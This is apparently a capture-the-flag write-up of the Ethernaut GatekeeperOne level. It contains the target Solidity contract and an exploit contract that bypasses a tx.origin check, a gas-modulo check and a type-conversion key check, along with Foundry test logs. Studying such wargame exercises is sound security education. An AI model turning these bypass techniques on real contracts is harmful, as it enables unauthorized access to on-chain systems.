To solve this challenge we must register as an entrant.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
import "forge-std/console2.sol";
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(
uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)),
"GatekeeperOne: invalid gateThree part one"
);
require(
uint32(uint64(_gateKey)) != uint64(_gateKey),
"GatekeeperOne: invalid gateThree part two"
);
require(
uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)),
"GatekeeperOne: invalid gateThree part three"
);
_;
}
function enter(bytes8 _gateKey)
public
gateOne
gateTwo
gateThree(_gateKey)
returns (bool)
{
entrant = tx.origin;
return true;
}
}
Analysis & Exploit Link to heading
function enter(bytes8 _gateKey)
public
gateOne
gateTwo
gateThree(_gateKey)
returns (bool)
{
entrant = tx.origin;
return true;
}
The enter
function has 3 modifiers that perform some checks.
The first two modifiers don’t take any parameters and the last
one expects the bytes8 _gateKey
. On success, it assigns
tx.origin
to entrant
and returns true
.
For simplicity, I’m going to use
console2
from the forge-std
and add a few console2.log
’s in order to
understand through which gates we’ve passed (we could use a debugger as well):
import "forge-std/console2.sol";
...
modifier gateOne() {
...
console2.log("gate 1");
_;
}
modifier gateTwo() {
...
console2.log("gate 2");
_;
}
modifier gateThree() {
...
console2.log("gate 3");
_;
}
Now, let’s explore these modifiers.
gateOne
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
We’ve already seen this check in the Telephone level. To bypass it we’ll use an intermediate contract:
contract GatekeeperOneExploit {
GatekeeperOne private immutable level;
constructor(GatekeeperOne _level) {
level = _level;
}
function run() public {
level.enter(bytes8(0x0));
}
}
gateTwo
The next one is a bit trickier:
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}
To pass through this gate we must satisfy the condition
require(gasleft() % 8191 == 0)
.
The %
is a
modulo
operator, which yields a remainder after a division. From the
Solidity
docs we know that gasleft()
returns how much gas is left for
the currently running function.
The functiongasleft
was previously known asmsg.gas
, which was deprecated in version0.4.21
and removed in version0.5.0
.
Before Solidity 0.6.2, the recommended way to specify the value
and gas was to use f.value(x).gas(g)()
. This was deprecated in
Solidity 0.6.2 and is no longer possible since Solidity 0.7.0.
Solidity allows us to specify precisely how much gas we want to
use for a specific function. We want to give such an amount of
gas
to the enter
function so that gasleft() % 8191 == 0
expression evaluates to true
. Let’s try to calculate how much
gas it spends just before the call to require
:
modifier gateTwo() {
console2.log(gasleft());
require(gasleft() % 8191 == 0);
console2.log("gate 2");
_;
}
For example, let’s give it 100000
gas:
level.enter{gas: 100000}(bytes8(0x0));
And have a look at the trace:
Running 1 test for src/test/GatekeeperOne.t.sol:GatekeeperOneTest
[FAIL. Reason: Revert] testGatekeeperOne() (gas: 450050)
Logs:
gate 1
96580
Let’s see… 🤔
- \( Gas_{left} = Gas_{initial} - Gas_{spent} \)
- \( Gas_{spent} = 100000 − 96580 = 3420 \)
- \( Gas_{left} = Gas_{initial} - 3420 \)
To satisfy \( Gas_{left} \bmod 8191 = 0 \) we must give it exactly
\( 8191 + Gas_{spent} = 8191 + 3420 = 11611 \). Obviously, this
amount of gas is not enough, so let’s add a little more: \(
3420 + 8191 × 100 = 822520 \). The console2.log(gasleft())
takes 330
gas itself, so we need to remove it from the
gateTwo()
function, since we don’t need it anymore. Thus we
passed through the 2nd gate!
Instead of using console2.log
to calculate the gas spent, we
could have used the
remix
debugger or some other EVM-debugger that allows you to check
the
remaining
gas. Here I just leverage the fact that I’m playing in a local
environment and using foundry.
gateThree
The following 3 conditions must be satisfied:
uint32(uint64(_gateKey)) == uint16(uint64(_gateKey))
uint32(uint64(_gateKey)) != uint64(_gateKey)
uint32(uint64(_gateKey)) == uint16(uint160(tx.origin))
To get through the last one we must have a good understanding of implicit and explicit type conversion rules and bitwise operations in Solidity.
Basically, there are 4 things we need to know:
- If an operator is applied to different types, the compiler tries to implicitly convert one of the operands to the type of the other without loosing information. So generally it converts to a larger type.
- Converting a smaller integer to a larger type will pad it on the left.
- Converting fixed-size bytes types to a smaller type will cut off the sequence.
- Bit masking.
Here is an example key:
function run() public {
bytes8 tail = bytes8(uint64(uint16(uint160(tx.origin))));
bytes8 head = bytes2(0xffff);
bytes8 key = bytes8(head | tail);
level.enter{gas: 11611 + 8191*100}(key);
}
References Link to heading
- Conversions between Elementary Types from the Solidity docs.
- Forge Standart Library Overview.
- Console Logging from the Foundry Book.
- Solidity Tutorial : all about Bytes.
- Solidity conversions tutorial.
The complete code is here. Thank you for reading. This post was a bit rushed 🙃 I hope I can get back to it later and explain typecasting and bit manipulation magic in the gateThree.
TODO